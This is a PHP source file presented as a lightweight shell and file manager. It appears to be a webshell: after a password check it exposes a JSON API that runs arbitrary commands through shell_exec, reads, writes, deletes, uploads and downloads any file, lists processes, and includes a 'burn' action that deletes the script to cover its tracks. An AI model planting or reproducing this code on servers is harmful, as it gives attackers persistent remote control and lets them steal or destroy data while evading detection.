<?php
// Ultra Light Secure Shell/File Manager - Working Version
session_start();

// Your bcrypt hash only (password is NOT in code)
define('AUTH_HASH', '$2a$12$EKPUlSGwf2FfvsagymmTFeMeodoZxveyfstmfYG1NO.f3cbE8u.Da');

// Auth via bcrypt (for both web and API)
$is_api = isset($_POST['req']);

if (!isset($_SESSION['fm_auth'])) {
    // Check password from either pwd (web) or k (API)
    $submitted_pwd = $_POST['pwd'] ?? $_POST['k'] ?? null;
    
    if ($submitted_pwd && password_verify($submitted_pwd, AUTH_HASH)) {
        $_SESSION['fm_auth'] = true;
        $_SESSION['cwd'] = getcwd() ?: '/';
    } elseif (!isset($_SESSION['fm_auth'])) {
        if ($is_api) {
            header('Content-Type: application/json');
            die(json_encode(['error' => 'AUTH_REQUIRED']));
        }
        // Web login form
        ?><!DOCTYPE html>
<html><head><title>Login</title><meta charset="UTF-8">
<style>body{font-family:system-ui,sans-serif;background:#f0f2f5;display:flex;min-height:100vh;align-items:center;justify-content:center;margin:0}.card{background:#fff;padding:2rem;border-radius:8px;box-shadow:0 2px 8px rgba(0,0,0,0.1);width:300px}input,button{width:100%;padding:10px;margin:8px 0;border-radius:6px;border:1px solid #ddd}button{background:#1a73e8;color:#fff;border:none;cursor:pointer}.error{color:#c00}</style>
</head><body><div class="card"><h2 style="margin:0 0 1rem">🔐 Login</h2>
<form method="post"><input type="password" name="pwd" placeholder="Password" autofocus required><button type="submit">Login</button></form></div></body></html><?php
        exit;
    }
}

// Logout
if (isset($_GET['logout'])) { 
    session_destroy(); 
    header("Location: ".$_SERVER['PHP_SELF']); 
    exit; 
}

// Handle directory navigation from web UI
if (isset($_GET['dir'])) {
    $new_dir = $_GET['dir'];
    if (is_dir($new_dir)) {
        $_SESSION['cwd'] = realpath($new_dir);
    }
}

// CWD Management
if (!isset($_SESSION['cwd']) || !is_dir($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd() ?: '/';
}
@chdir($_SESSION['cwd']);

// API Handler
if ($is_api) {
    header('Content-Type: application/json');
    $req = $_POST['req'];
    
    if ($req === 'cmd') {
        $cmd = $_POST['c'];
        $out = '';
        if (preg_match('/^cd\s+(.*)$/', $cmd, $m)) {
            $target = trim($m[1]) ?: '/';
            if (@chdir($target)) {
                $_SESSION['cwd'] = getcwd() ?: $target;
            } else {
                $out = "cd: error: $target";
            }
        } else {
            $out = shell_exec($cmd . " 2>&1");
        }
        die(json_encode(['out' => $out, 'cwd' => $_SESSION['cwd']]));
    }
    
    if ($req === 'list') {
        $path = $_POST['path'] ?? $_SESSION['cwd'];
        if (is_dir($path)) {
            @chdir($path);
            $_SESSION['cwd'] = realpath($path);
            $items = scandir($path);
            $res = [];
            foreach ($items as $i) {
                if ($i == '.' || $i == '..') continue;
                $p = $path . '/' . $i;
                $res[] = [
                    'n' => $i,
                    'd' => is_dir($p),
                    's' => is_dir($p) ? '-' : round(filesize($p)/1024, 2) . ' KB',
                    'p' => substr(sprintf('%o', fileperms($p)), -4)
                ];
            }
            die(json_encode(['files' => $res, 'cwd' => $_SESSION['cwd']]));
        }
        die(json_encode(['error' => 'Path Error']));
    }
    
    if ($req === 'read') {
        die(json_encode(['data' => base64_encode(file_get_contents($_POST['f']))]));
    }
    
    if ($req === 'save') {
        die(json_encode(['status' => file_put_contents($_POST['f'], base64_decode($_POST['c'])) !== false]));
    }
    
    if ($req === 'del') {
        die(json_encode(['status' => unlink($_POST['f'])]));
    }
    
    if ($req === 'rename') {
        die(json_encode(['status' => rename($_POST['old'], $_POST['new'])]));
    }
    
    if ($req === 'upload') {
        $status = move_uploaded_file($_FILES['file']['tmp_name'], $_SESSION['cwd'] . '/' . $_FILES['file']['name']);
        die(json_encode(['status' => $status]));
    }
    
    if ($req === 'ps') {
        die(json_encode(['out' => shell_exec('ps aux 2>&1')]));
    }
    
    if ($req === 'download') {
        $f = $_POST['f'];
        if (file_exists($f)) {
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($f) . '"');
            header('Content-Length: ' . filesize($f));
            readfile($f);
        }
        exit;
    }
    
    if ($req === 'burn') {
        @unlink(__FILE__);
        die(json_encode(['status' => 'destroyed']));
    }
    
    die(json_encode(['error' => 'Unknown request']));
}

// Web UI
$dir = $_SESSION['cwd'];
$msg = '';

// Upload
if (!empty($_FILES['up'])) {
    $target = $dir . '/' . basename($_FILES['up']['name']);
    if (move_uploaded_file($_FILES['up']['tmp_name'], $target)) {
        $msg = "✅ Uploaded";
    } else {
        $msg = "❌ Failed";
    }
}

// Delete
if (isset($_GET['del']) && is_file($_GET['del'])) {
    if (unlink($_GET['del'])) {
        $msg = "🗑️ Deleted";
    } else {
        $msg = "❌ Failed";
    }
}

// Rename
if (isset($_POST['rename_old'], $_POST['rename_new']) && file_exists($_POST['rename_old'])) {
    if (rename($_POST['rename_old'], $_POST['rename_new'])) {
        $msg = "✏️ Renamed";
    } else {
        $msg = "❌ Failed";
    }
}

// Save
if (isset($_POST['save_path'], $_POST['content'])) {
    if (file_put_contents($_POST['save_path'], $_POST['content']) !== false) {
        $msg = "💾 Saved";
    } else {
        $msg = "❌ Failed";
    }
}

// Handle edit parameter to show edit form
$edit_file = null;
if (isset($_GET['edit']) && is_file($_GET['edit'])) {
    $edit_file = $_GET['edit'];
}

// Handle rename parameter to show rename form
$rename_file = null;
if (isset($_GET['rename']) && file_exists($_GET['rename'])) {
    $rename_file = $_GET['rename'];
}
?>
<!DOCTYPE html>
<html><head><title>File Manager</title><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<style>*{box-sizing:border-box}body{font-family:system-ui,sans-serif;margin:0;padding:10px;background:#f0f2f5}.container{max-width:1000px;margin:auto}.bar{display:flex;justify-content:space-between;align-items:center;margin-bottom:12px}.card{background:#fff;border-radius:6px;box-shadow:0 1px 3px rgba(0,0,0,0.08);padding:12px;margin-bottom:12px}.path{background:#eef2f6;padding:8px;border-radius:5px;font-family:monospace;font-size:13px;margin-bottom:10px;word-break:break-all}.btn{padding:6px 12px;border:none;border-radius:5px;cursor:pointer;background:#e2e6ea}.btn-p{background:#1a73e8;color:#fff}.row{display:flex;justify-content:space-between;align-items:center;padding:7px 0;border-bottom:1px solid #eee}.act a{margin-left:12px;color:#1a73e8;text-decoration:none}.msg{padding:8px;border-radius:5px;margin-bottom:12px;background:#d4edda;color:#155724}textarea,input[type=text]{width:100%;font-family:monospace;padding:8px;border:1px solid #ccc;border-radius:5px}</style>
</head><body><div class="container">

<div class="bar"><h2 style="margin:0">📁 Manager + API</h2><a href="?logout=1" style="color:#1a73e8">Logout</a></div>
<?php if($msg) echo "<div class='msg'>$msg</div>"; ?>

<div class="card"><div class="path">📂 <?=htmlspecialchars($dir)?></div>
<?php 
$parent = dirname($dir);
if ($parent != $dir) {
    echo '<a href="?dir='.urlencode($parent).'" style="color:#1a73e8">⬆ Up</a>';
}
?>
<form method="post" enctype="multipart/form-data" style="margin-top:10px"><input type="file" name="up" required style="margin:5px 0"><button type="submit" class="btn btn-p">Upload</button></form></div>

<div class="card"><h3 style="margin:0 0 10px">📄 Items</h3>
<?php 
$items = @scandir($dir);
if ($items) {
    foreach($items as $item) { 
        if($item === '.' || $item === '..') continue;
        $path = $dir . '/' . $item; 
        $isDir = is_dir($path);
        ?><div class="row"><span><?= $isDir ? '📂' : '📄' ?> <?=htmlspecialchars($item)?> <small style="color:#666"><?= $isDir ? 'folder' : round(@filesize($path)/1024,1).' KB'?></small></span>
        <div class="act"><?php if($isDir): ?><a href="?dir=<?=urlencode($path)?>">Open</a><?php else: ?><a href="?edit=<?=urlencode($path)?>">Edit</a> <a href="?rename=<?=urlencode($path)?>">Rename</a> <a href="?del=<?=urlencode($path)?>" onclick="return confirm('Delete?')">Del</a><?php endif; ?></div></div><?php 
    }
} else {
    echo "<div>Cannot read directory</div>";
}
?></div>

<?php if($edit_file): ?>
<div class="card"><h3>✏️ Edit: <?=htmlspecialchars(basename($edit_file))?></h3>
<form method="post"><input type="hidden" name="save_path" value="<?=htmlspecialchars($edit_file)?>"><textarea name="content" rows="12"><?=htmlspecialchars(file_get_contents($edit_file))?></textarea>
<div style="margin-top:8px"><button type="submit" class="btn btn-p">Save</button> <a href="?dir=<?=urlencode($dir)?>" class="btn">Cancel</a></div></form></div>
<?php endif; ?>

<?php if($rename_file): ?>
<div class="card"><h3>✏️ Rename: <?=htmlspecialchars(basename($rename_file))?></h3>
<form method="post"><input type="hidden" name="rename_old" value="<?=htmlspecialchars($rename_file)?>"><input type="text" name="rename_new" value="<?=htmlspecialchars($rename_file)?>" required>
<div style="margin-top:8px"><button type="submit" class="btn btn-p">Rename</button> <a href="?dir=<?=urlencode($dir)?>" class="btn">Cancel</a></div></form></div>
<?php endif; ?>
</div></body></html>